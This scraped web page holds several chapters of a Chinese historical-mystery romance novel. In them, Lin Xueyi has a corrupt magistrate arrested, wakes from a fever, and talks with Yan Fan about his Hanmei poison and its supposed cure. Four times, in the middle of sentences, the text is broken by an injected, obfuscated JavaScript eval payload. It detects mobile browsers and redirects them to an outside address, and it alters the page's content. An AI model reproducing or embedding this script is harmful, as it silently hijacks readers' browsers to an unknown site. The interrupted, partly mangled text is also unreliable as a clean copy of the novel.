林雪意冷声道:“来人,将付世仁拿下,暂押县衙大牢,听候发落!” 那方县尉似乎并未对这样的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751926|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态发展感到意外,林雪意话音刚落,他便上前擒住了付世仁。 “方玉宣!你好大的胆子!我可是知县……”付世仁反应过来,一遍叫骂一遍扭动身子挣扎,但他满身赘肉,那里拗得过方县尉,立刻就被五花大绑,被一团布堵住了嘴。 林雪意此时才知方县尉全名,就见他起身向她抱拳道:“多谢林御史抓此蠹虫,为民除害!” 林雪意轻轻一怔,旋即会过意来。看来这方玉宣早就知道付世仁倒行逆施,早就想将他绳之以法了。 她笑道:“方县尉无需多礼,是我要感谢你施计救我。” “在下惭愧,这一出调虎离山,声东击西,全是世子的计策。”方玉宣神情冷肃,语气却诚恳,“是世子除掉了流石山上的贼匪,让在下带兵上山,乔装埋伏,在黑水潭中其他贼匪来救的时候一网打尽。” 方玉宣说着又朝晏返看去一眼,眼底划过一丝疑惑。 黑龙潭水贼盘踞,为祸已久,他虽早有剿匪之心,但无奈流石山易守难攻,加之付世仁一直以来避重就轻,他亦是有心无力。不知这晏世子是如何在一夜之间就扫清山上众多水贼的。 林雪意闻言惊讶地看向晏返,视线触及他身上遍布的伤口后,一个不可思议的想法闪过脑海,心中骤然一痛。 觉察到她担忧的目光,晏返冲她轻轻一笑,摇了摇头。 “世子,大人。”此时一道身影从下方林中跃出,正是墨云。 墨云冷冷瞥了沙豹一眼,上前向林雪意禀告:“大人,黑水帮内斗已是两败俱伤,残余水贼已经悉数抓获。季都监事先命人在流石山下的石洞中拉了拦截网,企图通过水路遁逃的水贼也已全部截下。” “好!”林雪意心中一块巨石终于缓缓落下,原本强压的疲倦感便如山风一般,丝丝缕缕从脚底钻出来。 就在这时,前方突然爆发出一阵发狂般的笑声,她当即僵立在地,就见猛然挣脱了士兵的沙豹向这边冲过。 “贱人!我就算死也要拉上你,跟你做一对鬼鸳鸯!哈哈哈……” 沙豹淬了毒似的目光仿佛要将她生吞活剥,但弹指间,修长五指便轻轻蒙住了她双眼。 晏返的气息悄然覆落,视野陷入短暂的黑暗,四周陡然死寂一片,四溢的杀意顿如朔风般卷挟山野,浓稠如夜。 一声轻轻的“沙”如同隔开光明和黑暗的屏障,沙声淡去,四下里顿时响起风声和抽气声。 林雪意听到脚下的荒草丛中传出了什么东西掉落的声音,继而就像她先前丢出去的珠冠似的,滚了两下后便掉下山去。 蒙住她眼睛的大手轻轻拂着她浓密的睫毛垂落,她睁开眼,沙豹已经消失了踪影,徒留一地飞溅的血迹。 除了墨云,周围众人脸上俱是惊愕,被溅上鲜血的付世仁径直晕死过去,方玉宣看向晏返的目光更加的深了。 林雪意怔愣地颤了颤视线,抬眼看向晏返,不知是该松快还是该紧张。 她自然知道沙豹是被晏返了结了,危险已经远离,但是方才心头因为感受到那股凌厉杀气而涌起的不安却无法消退。 “没事了。”晏返松开手中的刀,柔下目光道。 林雪意下意识地点点头,心中的弦“嗒”的一声,终于断开。 视野重归黑暗。 “林雪意!” 晏返连忙扶住失去知觉的林雪意,手掌隔着衣料幽微触到她异常的体温。 他视线一顿,立刻抬手去摸她的额头,眉心蓦地一跳。 好烫! 67. 惊醒 林雪意久违地梦见了母亲。 黑暗中,躺在床上的小小身影正饱受发烧的折磨。 小女孩勉强扭动了一下身体,在浑浑噩噩的梦中,呓语道:“娘亲,意儿难受呢。” 昏暗的屋中旋即亮起了一点灯光,一双纤细漂亮的手出现在那道小身影的上方,伴随着女子温柔清润的低语:“意儿乖,把药喝了就不难受了。” “娘亲,药苦苦,意儿不想喝药……” 小女孩半是撒娇半是央求,林雪意的意识便在这软软糯糯的声音中渐渐苏醒过来。 或许是因为母亲逝去得早的关系,她对母亲的印象一直很模糊。 母亲病故时她才三岁,如今她虽然依稀能回忆起和母亲相处时的零碎片段,但是母亲的模样她却如何都想不起来了。 半梦半醒间,林雪意生出了一丝好奇,就着那一点灯光开始窥视自己的梦境。 幽微灯光缓缓映出女子姣好的身段,而后昏黄的光晕渐渐漫上纤细脖颈,精致下颌,最后映照出了那张脸—— 那是一张美艳绝伦却诡异地布着纵横细线,像是由尸块拼凑出来的脸! 林雪意顿时倒吸一口凉气,骤然惊醒过来。 她的身体因为惊吓猛地弹起,额头便陡然重重地撞上了什么东西,脑袋里金星直冒。 她本能地闭眼皱眉,痛得发出嘶声,却仍能感受到周围不同于梦境中的昏暗,不同于梦境的明亮灯光正洒落在她身上。 温热指腹轻轻按上她的额头,熟悉的清醇语声落入寂静的空气,犹如晨光初初破开永寂的黑暗:“疼吗?都撞红了。” 林雪意这才转醒过来,掀起眼帘,视线触到正抬手轻抚她额头的人影,瞥见了对方的额上也染着一片淡红。 “我……我没事。”意识到是自己动作太大,把晏返也撞得不轻,林雪意歉然地躲开了他的手,支吾道,“对不住……你怎么样?” 晏返似乎对她的反应还算满意,抿唇笑笑,道:“不碍事,本世子皮厚得很。你都昏睡了快两日了,总算醒了。” “两日了?”林雪意闻言惊诧地打量四周,发现她正身处自己的卧房中。此时已是入夜,万籁俱寂,她心头的担忧便随着神识的清醒而一点一点地冒头。 “深月人呢?还有芷柔,芷柔她……” “放心。”晏返立即安抚道,“深月守了你一天一夜,我让她去休息了。芷柔平安无事,她挂念母亲,昨日墨云先送她回去了。” 林雪意这才松了一口气。 回想起这几日的惊险,她的视线不由得又落在晏返身上。 许是因为眼下是夜间的关系,晏返只是近乎随意地披着一件雪色大氅,微乱的领缘处露出一截玉色单衣。一头乌发不像白日里讲究地束起,而只是松散地半挽在脑后。 屋中灯光明亮,越发映得他清淡如水,与在黑水潭时的凌厉模样判若两人…… 晏返不知道林雪意心中所想,一边起身倒水一边继续交代:“付世仁已经下狱,县衙中一应事务由方县尉暂代。那个孟长宇前夜就被关入牢中,这两日正受审讯……” 他将水递给林雪意,觉察到她的注视,旋即敛去眼底锐色,和缓了神容问:“怎么了?” 一想到那些伤害她的混账,他心底便有一股不受控制的狂躁破土而出,但是此刻触碰到她带着试探的轻软视线,他那股躁郁之气却又似无地自容般,只想找一道缝钻回去。 他并不似外人眼中那般光鲜亮丽,正相反,他见识过太多的阴暗诡谲,手上早已沾满鲜血,他一度害怕自己身上的杀孽会将她染黑,但她却似乎永远光风霁月,明朗清正,让他不忍接近,却又难以自持地想要靠近。 见晏返望过来的目光有些出神,林雪意颤了颤眼睫,接过水抿了一口,垂眸道:“你的伤……如何了?” 她其实有很多话想问,但却近乡情怯般,人在眼前,反而问不出口了。 “都是些皮外伤,已经大好了。”晏返觑着对方缺乏血色的脸庞,觉察到她的心不在焉,顿了顿道,“有心事?” 林雪意摇了摇头,转而同他说起了她在石室中的发现。 晏返听着来龙去脉,眸色渐沉:“如此说来,我们在徐州湾时,爬上官船的那些水鬼也和那石室中的怪物一样,是孟长宇一手造成的。” “是。”林雪意点点头,说出自己心头推测,“那石室底下和黑水潭连通,黑水潭又是清淮江的支流,想来是孟长宇把他试验失败的的怪物丢进黑水潭,那些怪物顺水游到了琅琊渡一带,那里正是黑水帮往常潜伏的水域。” 他们还在青州时,泤水县的布庄掌柜曾说,往常水贼只在琅琊渡以南的水域潜伏,后来却跑到北面劫船,想来便是黑水帮在琅琊渡的下游遇见了怪物,他们误以为那是水鬼,为了躲避它们,才转到上游发难。 黑水帮死到临头都不知道,那些“水鬼”的老巢就在他们的眼皮子底下。 提到孟长宇,林雪意不禁又想起方才那个荒诞悚然的梦,问:“孟长宇这两日受审,吐露了什么没有?” 晏返眸光幽幽一沉,带着些轻嘲和冷意:“前日他被自己的‘杰作’吓得不轻,关进牢里后便有些神智不清了。说的话颠来倒去,不知是真疯还是装疯。” 林雪意不由拧眉。 孟长宇制造怪物极有可能是离公子授意的,若他真是疯了,这条线索岂不是又要断了? 忽而,她想起了自己在石室里拿的那盒迷魂胭脂,忙往身上摸了摸,这才发觉自己在黑龙潭的一身嫁衣已被换去。 “别急,东西都在。”晏返显然明白了她在找东西,一面出言宽慰一面往屋子另一头的桌案上投去一眼。 林雪意顾不得微微的头晕,立即掀开被子下了床,忙不迭地往桌案走去。等看到桌上放着的小木匣和迷魂胭脂后,她才容色稍缓。 她拿起迷魂胭脂端详片刻,刚想试着去回溯它,一只修长大手却轻轻在她手背上拍了拍,微沉语声随即在耳侧响起—— “放下吧。” 林雪意心下一惊,错愕抬眸,却见晏返的目光并未在那盒胭脂上停留,只是极为顺手地替她披上了一件外裳。 她有些不自在地收回视线,心中揣测对方应该并未发现她的回溯之力。但他这么淡淡一劝,她却又像是做坏事被逮个正着的调皮孩子,一时有些心虚起来,慢慢放下了胭脂。 “你的烧还没退,要想操心这些东西,等身子好了再说。”晏返装作没看见她眼底闪烁的目光,边说边将她的衣服紧了紧。 虽然晏返未必是在说她回溯的能力,但以她现在的状况,想要施展回溯之力确实有些勉强。林雪意打消了回溯迷魂胭脂的念头,转而打量起自己从那张尸块脸中发现的小木匣。 小木匣做得扁平,宽有二指,长不过三寸,很不起眼。但它所用木料质地坚硬,衔接处严丝合缝,显然做出它的人是花了心思的,或许里面藏着什么重要的东西。 林雪意拿起它掂量了一阵,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783386|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道要如何打开。 “你想打开?”晏返问。 林雪意点点头,刚想说回头去寻个凿子来凿开,就见晏返将小木匣握进了手中。他拳头一捏,再摊手时,木匣已经成了他手心中的碎块。在那一小堆碎裂木片中,赫然夹着一张折叠的纸。 晏返看看手中碎片,又冲她挑眉:“打开了。” 对方举止颇有些邀功的意味,林雪意忍俊不禁,对他道了声谢。 晏返很是受用,他好事做到底一般抖落木头碎屑,将带着墨迹的纸打开。纸张不大,须臾间便一览无余,但他的视线却轻轻一滞,看向她的眼神不知为何透着些古怪。 林雪意不解地接过那纸,目光落在纸上的一刹,她蓦然顿住,一股凉气窜上脊背,直冲头顶。石室中孟长宇的种种举动霎时如走马灯般在她脑海中一一闪过,让她如梦初醒—— 她原以为,孟长宇执意要把她也做样方,是因为她撞破了他的事,他要杀她灭口。可直到现在她才想到,如果孟长宇只是为了灭口,大可一刀结果了她,将她抛给那些怪物当做食物,用不着那么大费周章。 这纸上画的是一幅女子的画像。 看得出来,石室中的那张尸块脸便是孟长宇依着画像上女子的样子苦心拼凑的。那脸确实也拼得很像,只是少了神韵。 芷柔跟这画上的女子有五分像,像在五官。 可眼下她竟鬼使神差般发觉,自己跟这画像也很像,只是这相像不在五官,而在那一点神韵。 孟长宇的嗜好确实变态,但他对喜好也是十足的固执和偏执。他若不是也看出了她和画上人相似的地方,又怎么会一再地想把她做成样方? 一股莫名寒意幽幽从心底升起,林雪意不由得蜷紧了手指。 “真稀奇,你跟这画上人倒有些相像。”晏返嘴上说着稀奇,语气却稀松平常,就好像这并没什么特别的,“难怪孟长宇会把你掳走。” 林雪意闻言怔然看他,心中难言的不安如寒冰般丝丝化开。 是啊,孟长宇一开始并不知道她在调查他,是因为发现她长得合他的意才把她抓起来的。 这原本就只是一种巧合,是因为那个噩梦,她才有些六神无主。 一念至此,林雪意长出一口气,冲晏返笑道:“谢谢你。” 晏返见面前人眉间紧张的神色淡去,心下悄悄一轻,垂在身侧手便不由自主地向她伸过去。等他发觉的时候,大手已经停在她脸侧。 视线触到林雪意投来的不解的目光,他轻一弯唇,将手抬指她头顶,在她手上揉了揉,状似不经意道:“谢什么。” 她丝缎般的乌发垂散,被他的手指拨动丝缕,发梢在灯光下幽微晃动,一下一下,却仿佛都撩拨在他的心上。 林雪意原本见晏返动作,以为他是注意到了自己脸侧的箭伤,却不料他抬手在她头顶一顿揉。 她虽不至于觉得冒犯,但多少还是感觉到了捉弄,刚想嘲他一句“晏三岁”,却见他眸色渐沉,总如掬拢星屑的眼瞳似有深浓墨色,到了嘴边的话便转成了一句询问:“怎么了?” 晏返似乎被她问得一愣,触雷般收回了手,深吸了一口气道:“没什么。时候不早,你好好休息。案子的事,明日再说。” 他说罢转身便走,林雪意却在空气中嗅到了一缕若有似无的苦涩梅香。 是寒梅! 她心头一紧,一直盘旋在心头的话终于脱口而出—— “你中的毒怎么办?” 68. 轻吻 前方挺拔的背影陡然僵住。 刹那间,满室皆静,只有烛光在微微晃动。 林雪意顿了顿,跟上去几步,打破了寂静:“寒梅之毒,你打算怎么办?” 她看不见晏返的表情,只听得他语气平静得出奇:“你知道多少?” “孟长宇告诉我,寒梅是他的师兄所制。我知道,中毒的人每夜子时会极其痛苦,生不如死……”林雪意感到心里酸酸涩涩的,迟疑片刻道,“我也知道,寒梅唯一的解药是心爱之人的心头血。” 晏返似乎是叹了口气,他转过身来,眉眼淡然,神情平静得像是在谈论一件再寻常不过的事。 林雪意见他往自己的方向折返回来,不知该说些什么,不由心中忐忑。对方却并未停步,而是在经过她身侧时轻轻扣住她手腕,落下一句低语:“你跟我来。” 林雪意不解其意,移步跟着晏返再次来到书案前,就见他递过来一支笔,温声道:“既如此,我们不妨都写一写对解药的看法。” 林雪意敛去眼底诧异,接过了笔,又从桌面上取了一张素笺,不假思索地在书案的这一头落笔。 与此同时,站在书案那一头的晏返也同样取了纸和笔写起来。 两人几乎是同时停笔。 林雪意抬头看向对面,见晏返冲她使了个眼色,她便与他同时将写好的素笺拿起来,向对方展露写就的字。 烛光之中,白纸之上,两个相向而立的“假”字分外刺眼。 晏返明显神情一松,不徐不疾解释道:“传言都说,寒梅的解药是中毒者所爱之人的心头血,可中毒的人如果真狠得下心取血,那他真正爱的,是所谓的心上人还是他自己?这本身就自相矛盾,必不是真。” 林雪意点了点头,也说出了自己的推断:“孟长宇说他师兄的喜好是折磨人,有如此怪癖的人又怎么会轻易将真正的解药公之于众?关于解药的说法,倒更像是他故意放出去的,目的就是为了让中毒的人陷入万劫不复之境。所以我想,多半为假。” 晏返闻言轻一牵唇,眸光温软,像盈满了星尘微光:“知道是假的便好了,不要胡思乱想。” 林雪意却轻松不起来。 早在她还被囚禁在石室的时候,她就已经有此设想。 解药不是所爱之人的心头血,如此晏返将来便不会跟心上人陷入两难的境地,这固然是好。可是这也意味着,对于解毒方法,他们连一星半点的线索都没有了。 似是看出了她的忧虑,晏返道:“放心,我师父也师从药王谷,他老人家正在想办法。” 空气中的梅花香气幽幽漫开,林雪意半信半疑地看他:“真的?” “真的。”清冷的寒梅香气中,晏返的语声笃定。 林雪意心中稍安,垂下目光道:“都怪我那时太不小心,若不是因为我,你不会中毒。” 晏返隐约想起两日前林雪意在黑龙潭时同他说的“抱歉”,心想原来她那时是在为这件事自责,望着她的目光不由得深了。 他好像什么事情都瞒不过她,无论是他隐瞒身份的事,还是他中了寒梅之毒的事。 那么至少,关于解药的事,让他瞒久一点吧。 他正想出言让她别放在心上,却见她轻轻咬了唇瓣。 一直刻意放平的呼吸顿时有了一刹的急促,似乎是因为这一霎的错漏,一股不安分的躁动便自他心底升腾,如潮水般越涨越高。 他甚至有些恍惚,觉得眼前的人是诱人的蜜糖,饶是心头已经有如蛇虫噬咬,他的神魂却几乎不受控制,丝丝缕缕往她身上依附过去,想要去攫取那一点欢愉。 “晏返,你怎么样?” 意识到自己的异样,晏返连忙别过头去,不再去看林雪意,但她透着担忧的清润语声却像是钻进了他心底,如猫儿伸出毛乎乎的爪子一般轻轻地挠。 他艰难地摇摇头,从齿缝里挤出一句“我没事”,几乎是落荒而逃般跨出了房门。 深冬的寒风迎面而来,倏然吹散他身上的燥热。 晏返如释重负般松了一口气,强自压下胸口因为寒梅毒发而汹涌激荡的血气,刚想别过,却见林雪意从屋里追了出来,望向他的一双水杏眼波光盈盈。 “不如……你今晚就留在我屋中吧?” 她的眼中纤尘不染,毫无杂念,他却像是被惊雷劈中一般猛地一个踉跄。原本强压的血气陡然失控,在胸腔中一阵乱窜,激起他一阵剧烈的咳嗽。滚烫的热度便漫上了他的下颌,直往脸上涌。 见晏返就跟炸了毛的猫一般,林雪意不免有些意外。 对她而言,孤男寡女共处一室确实会让她感到不自在,但没想到这逢场作戏惯了的晏世子也会有这么大反应。 或许他还没发现,他离她近一些时,寒梅毒发的症状会轻一些? 她刚想解释,晏返却好像已经镇静下来。 屋里的灯光曳泻而出,明亮光线堪堪落在他起伏的胸膛上。 他的脸隐在阴影中,叫人看不清神色。 他的语声清醇如常,却无端让人感到吐落的每一个字都充满了克制—— “林雪意,你知不知道,自己这样很危险?” “危险?” 林雪意不明所以地回忆了片刻,想起自己在泤水县第一次撞见晏返毒发时,他咬了她的事。 莫非寒梅发作时,要像那样咬她一口,才能缓解毒发的痛苦? 想到这里,她不由心头一紧,眉头微蹙,夜色下的脸庞莫名有些发烧。 她眸光幽幽一转看向晏返,面露难色:“能不能不要咬脖子?实在不行,我手让你咬一下?” 她说着壮士断腕般轻挽衣袖,露出莹白手腕,向他伸过去。 她直觉般感到对方呼吸蓦然一滞,却不知道缘由,只能立在原地等他反应。 晏返背在身后的手已经无法捏得更紧,他只能咬紧牙关克制自己心头的躁动。 林雪意显然误解了他的意思,他本该哭笑不得,但是她的举动却让他胸腔鼓动得厉害。 室内洒出的灯光轻柔落在她莹润精致的脸孔上,她眉眼间的担忧、关切、羞怯、紧张,以及那一丝决然便悉数落进他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798762|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底。 鬼使神差的,他上前轻轻牵起她的手,躁动不安的身体竟突然有了瞬间的宁静。 温热指端的相触让林雪意倏然一颤,她瞬也不瞬地注视着牵住自己的晏返,不由自主地屏住了呼吸。 他似乎真的打算在她手上咬一口,垂眸缓缓地俯身过来。 浅金色灯光漫上他修长脖颈,映亮了那张五官深邃的俊朗面孔。额发投落脸庞的淡影中,那对乌黑眼睫微垂着,堪堪掩住那双粲然星目,让人生出一种虔诚的错觉。 然后,他轻轻地,轻轻地,在她的指节上吻了一下。 形状漂亮的薄唇在她手上一触即分,宛如蜻蜓点水,林雪意的脑海中却顿时如烟火炸开一般轰然作响。 长风骤然灌入屋中,拨动灯火,霎时间灯影缭乱。 林雪意在凌乱光影间错愕地瞪着晏返,见他掀起眼睫看她,脸“腾”的一下红了。 “林雪意,”他微哑唤她,一双眼瞳似有星火,光影起落,映得他的目光近乎缱绻,“我可是个男人。” 心中有弦颤然作响,林雪意只感到脸颊滚烫。她跌跌撞撞地跑进屋,嘭地一声关上房门,背抵门扇,只觉心如鹿撞,不可遏止。 “你的好意我心领了。”外头传来晏返含着笑意的声音,继而他停顿片刻,不知在想些什么,半晌才接道,“明日见。” 屋外的脚步声渐渐远去,等到完全听不到了,林雪意才小心翼翼地地舒出一口气。 她觉得或许是烧还没退完,身上的热度竟有渐起之势。她下意识地抬手去摸额头,却嗅到了残留在手上的冷冽香气。 方才手指上如蝶扑落的触感挥之不去,她脸上烧得更加厉害,连眼睑都染上了淡红。 身体的酸软让她蹲下来慢慢蜷成一团,她闭眼将头抵在环抱的手臂上,腹诽晏返这厮果然是皮厚得很。 她就多余问那一句! 夜风凛冽。 颀长挺拔的身影在回廊中逆风穿行,走出一段不短的距离后,那人原本沉稳的脚步逐渐凌乱,不复片刻前的从容自若。 身上的虫蚁啃咬般刺痛感愈演愈烈,晏返索性放弃了前行,在廊边坐下了。 他望向林雪意屋子的方向,看着从屋中透出的淡淡灯光,一时有些失神。 他认定传说中的寒梅解药是假,还有一点原因没有说出口——即便是在快意恩仇的江湖上,也从未传出过有人中了寒梅之后还能活下来的传闻。 他原本不在意最后自己能不能活。 绣衣署暗探,虽是皇帝专属,为的却是国泰民安。 绣衣署中人人都早已将生死置之度外,他亦将生死看得很轻,唯独一个执念,那便是扫清璃国余孽。 如今那些隐在暗处的渣滓已经露出狐狸尾巴,即便是死,只要在那一天来临前完成他未竟的心愿,他也无憾。 可是不知为何,此时想起她的一颦一笑,他心中竟生出些不舍的隐痛。 气血逆行之痛寸寸入骨,浮现他眼前的却是方才她羞赧无措的眸光。 好可爱啊……她。 69. 窘迫 林雪意的后半夜是在辗转反侧中度过的。 直到天边微微亮的时候,她才撑不住眼皮的酸胀,迷迷糊糊睡去了。 等她再次醒来时,天色已是大亮。 “姑娘!”床边传来清清亮亮的声音,语声中满是热切的欣喜。 林雪意闻声睁开惺忪的眼,就见深月正笑容可掬地站在床边。 “深月!”林雪意连忙起身,扶着深月的手臂上下打量。 几日不见,平日里水灵灵的丫头瘦削了许多,眼底还有些彻夜未眠熬出的青紫。显然这些天里,她过得并不轻松。 林雪意只觉得心中软软一疼,有些歉疚:“深月,让你受累了。” “姑娘,我这算得了什么?”深月连连摇头,搀着林雪意到妆台前坐下,心疼道,“我都听芷柔说了,您过得才是万分凶险。” 深月这头跟林雪意说着那日芷柔找到这里的情形,那头还不忘朝厨房的方向喊,让厨娘姜婶把备好的早膳端过来。 “……我当时听到有人敲门,打开门的时候都惊呆了。”深月绘声绘色地说着,还不忘用手脚比划,惹得林雪意忍俊不禁,“她可是顶着芷柔的脸诶,我差点以为是那尸体诈尸了!” 深月说着说着不知是想起了什么,目光中闪过一点嫌弃的神色,拖着声音道:“倒是墨云反应快,听到她说让什么莫师父关上机关,就知道她身边那两个男人有问题,立刻就把他们拿下了。” 后面的事便就都如林雪意所料,芷柔向墨云和深月说明来意,交出了调兵令,墨云就拿上她视线写好的文书,快马加鞭去徐州指挥营求救了。 等到深月说完,林雪意也已梳洗完毕。正好有人在门上敲了敲,原本咋咋呼呼的深月顿时安静下来。 林雪意心下奇怪,扭头看去,却发现端着托盘进来的人不是厨娘,而是墨云。 感觉到空气有片刻的凝滞,她打破安静问道:“墨云,怎么是你?姜婶呢?” “姜婶手里有活,属下正好在厨房,就帮着把早膳送过来了。”墨云说着朝这边瞥来一眼,又立即垂下目光。 林雪意将他这微妙举动看在眼里,再念及刚才深月提起他时差点要翻白眼的样子,便有些了然,心道不知在自己离开的这几日,他又怎么惹恼深月了。 果然,她还未及言谢,就听见深月跟吃了炸药似的,小嘴叭叭道:“送过来就行了,还等着我家姑娘送你吗?” 墨云轻轻一愣,一声不吭地将托盘放在外间桌上,抱拳退下了。 林雪意摇头暗笑,问道:“你们两个又怎么了?” “姑娘,他是他,我是我!我跟他不熟!”深月气吼吼地辩解道。 “不熟啊……”林雪意有些意味深长道,“那你又何必为了不熟的人生气呢?” “也对啊……”深月似乎觉得她说得有些道理,气也消了一半,但她旋即又急道,“不是啊姑娘,他欺负我!他那天打晕我!” 林雪意眉心一跳,眼底一抹幽光划过:“他打晕你?” 深月委屈地点点头,一五一十地说起林雪意那日在玉仪坊外失踪后发生的事情。 “……我给过他解释的机会了,但是他什么都不肯说,可不就是故意的!”旧事重提,深月更加气恼,“姑娘,你可一定要为我做主!” 林雪意知道了来龙去脉,神情不由有些凝重:“想必墨云是不得已而为之。” “姑娘,你怎么还替他说话?”深月不解地问。 林雪意穿戴好,去往桌边坐下道:“墨云心性耿直,说话做事都不会绕弯子。还记得几日前我们在二殿下船上的时候吗?我问过他,晏返是不是瞒了我什么。那时候他是如何回答的?” 深月自然记得,那还是他上一次惹她生气的时候,便到:“他说,他不能说。” “他没用其他理由搪塞,只说自己不能说,可见他并不擅长说谎。”林雪意顿了顿,垂眸道,“因此我想,他打晕你的事,多半也和晏返有关,所以他不能说。” 深月显然不是爱钻牛角尖的人,她想了一想,慢慢转过弯来了,问:“那世子到底对姑娘隐瞒了什么呢?姑娘还不曾问过吗?” 林雪意点点头,又摇摇头。 晏返隐瞒的事情,她已经知道一些了,比如他中了寒梅之毒,但有一些是她还不确定的,比如他的真实身份。 她原本也想问他到底是谁,可后来她又觉得,不必问。 墨云对她其实颇为忠心,若非必要,不会隐瞒,如果这问题的答案连墨云都要三缄其口,那么她多半从晏返身上也问不出什么。 很有可能,因为某些原因,他不能主动表明自己的身份。 那么这样一个用纨绔身份当幌子,实际武功高强的人,以祖母之命的名义巴巴地跟了她一路,定然另有目的。 她心中已有所猜测,只等机会证实。 “好了,姑娘,别为这些事烦心了。” 深月的气来得快去得也快,她一脸看开的样子,一边替林雪意舀了一小碗酒酿圆子,一边道:“还是赶紧用早膳吧。您夜里醒了也没吃东西,怕是要饿坏了。” 感觉自己听到了不得了的字眼,林雪意拿着汤匙的手蓦然一顿,喉头莫名有点发紧:“你怎么知道我夜里醒了?” 深月像是想到了什么,别开目光支吾道:“嗯……我的屋子就在隔壁,半夜听到姑娘屋里有说话声,呃……我原本想过来看看的。” 原本想过来看看? 以深月对她的关心,有什么事情能打消她来看她的念头? 林雪意心里顿时有不好的预感,胸口像是揣了一只兔子,怪异地砰砰直跳,就听得深月接道:“后来吧……我发现墨云也远远站着没过来,我想想也不好打扰……” 深月的声音慢慢低下去,林雪意的目光逐渐震惊。 “……毕竟当时那气氛确实挺好的……” 林雪意嘴里一口酒酿圆子正待吞下,被深月一句“气氛挺好”呛在了喉咙里,顿时剧烈咳嗽起来,脸庞不知是因为咳嗽还是因为深月话中所指而烫得厉害。 “哎,姑娘!”深月连忙给她递了帕子,又拍着她的背替她顺气,“您怎么样?您没事吧?” 林雪意直摇头。 她有事。 她从未感到如此窘迫过。 所以昨夜晏返戏弄她的事,不但深月看到了,墨云也看到了? 而且他们似乎还有不太妙的联想?! “姑娘,您倒也不必紧张。”深月见林雪意双颊通红,诚恳地宽慰道,“虽然我还是更喜欢二殿下那样的,但若是姑娘觉得世子值得托付,我绝不反对。” “够了,深月。”想起自己昨夜跟晏返那番牛头不对马嘴的糟糕对话,林雪意差点又咳起来,连忙摆手道,“我跟他不是你想的那样,真的。” 深月笑着点点头,也不知道有没有把她的话听进去。 就在林雪意生出一股无力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817669|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感的时候,屋外传来了姜婶关切的声音:“哎呦,夫人,可是早膳不合胃口?” 她循声看去,就见姜婶一手托着参汤,一手提着食篮快步进来,似乎是远远就听到了她闹出的动静,脸上便有些紧张。 “没事,我只是不小心呛到了。”林雪意说着往桌上扫了一眼,顿时感到有些意外。 方才她只顾着跟深月说话,没有注意到早膳的菜式,现在仔细打量才发现有些不寻常—— 除了她已经吃了一口的酒酿圆子,桌上还有三样东西,分别是甜酒鸡蛋、半酒鳗鱼、米酒桂花糕。 ——这一桌的早膳竟都是加了酒做的。 姜婶显然是看出了她的疑惑,笑着解释道:“夫人您有所不知,我们尹阳地界的人都爱喝酒,平日里要是有个头疼脑热的,也喜欢以酒入菜,说是驱寒去湿,病好得快。” 林雪意闻言莞尔:“竟还有这样的风俗。” “是啊。”姜婶将托盘上的参汤放到林雪意跟前,接着道,“老爷担心您吃不惯,一早又嘱咐奴婢炖了参汤,您趁热喝一点吧。” 林雪意稍稍一顿便反应过来,姜婶口中的“老爷”是指晏返,不由心头微颤。她又想起方才的囧事,热意便又从脖颈处直往上涌。 “还有这个。”正低头摆弄食篮的姜婶没有发现她的异样,自顾自从食篮里端出了一碟糕点,道,“夫人,您看看这茯苓糕合不合胃口?” 林雪意向茯苓糕看去一眼,视线不由一滞。 这是一碟色泽晶莹的豆沙茯苓糕,两层雪白米糕之间还夹着一层泛着甜香的红豆沙,糕身还精心做成花朵的样子。 她确实很喜欢茯苓糕,但是这种做法却让她心念一动,脱口问道:“这是从何处得来的?” 姜婶闻言也不意外,爽利地朝屋外指了个方向:“是附近那间大宅里的小丫鬟送来的,说是听说了夫人爱吃这个,主人家特意让做的。” 林雪意面色一变,霍地站起身朝外走去,留下深月跟姜婶面面相觑。 知道她喜好的人不多,况且这种做法的茯苓糕,她不久前才见到过。 